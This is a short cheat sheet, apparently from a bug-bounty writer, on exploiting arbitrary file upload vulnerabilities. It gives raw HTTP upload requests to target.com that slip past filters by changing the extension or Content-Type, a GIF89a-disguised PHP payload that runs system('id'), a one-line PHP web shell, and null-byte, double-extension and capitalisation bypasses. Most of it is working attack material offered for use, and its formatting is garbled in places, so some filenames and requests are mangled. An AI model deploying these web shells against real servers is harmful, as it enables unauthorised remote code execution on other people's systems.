File Upload vulnerability
Introduction
An arbitrary file upload vulnerability is a type of security flaw that allows an attacker to upload malicious files onto a server.
Where to find
In upload file feature, for example upload photo, pdf, file feature.
How to exploit
follow step for find file upload vulnerability.
step1: you have to find any file uploading page on web application.
step2: you direct upload file.
step3: when you upload file it only upload image file.
step4: - you upload file in php format and go to burp suite change extension jpeg or file.php.jpeg.
POST /images/upload/ HTTP/1.1
Host: target.com
Content-Disposition: form-data; name="uploaded"; filename="dapos.php.jpeg"
Content-Type: application/x-phpstep5: open terminal and set listner to intercept the request. and boom got shell
- Change the
Content-Typevalue.
POST /images/upload/ HTTP/1.1
Host: target.com
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: application/x-phpChange the Content-Type
POST /images/upload/ HTTP/1.1
Host: target.com
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: image/jpeg- Try to change the extension when send the request, for example in here you cant upload file with ext php but you can upload jpg file
POST /images/upload/ HTTP/1.1
Host: target.com
Content-Disposition: form-data; name="uploaded"; filename="dapos.php.jpg"
Content-Type: application/x-php---------------------------829348923824
Change the request to this
POST /images/upload/ HTTP/1.1
Host: target.com
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: application/x-php2. Upload the payload, but start with GIF89a; and
POST /images/upload/ HTTP/1.1
Host: target.com
...
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: image/gif
GIF89a; <?php system("id") ?>And dont forget to change the content-type to image/gif
3. Bypass content length validation, it can be bypassed using small payload
(<?=`$_GET[x]`?>)4. Using null byte in filename
file.php%00.gif5. Using double extensions for the uploaded file
file.jpg.php16. Uploading an unpopular php extensions (php4,php5,php6,phtml)
file.php57. Try to randomly capitalizes the file extension
file.pHP5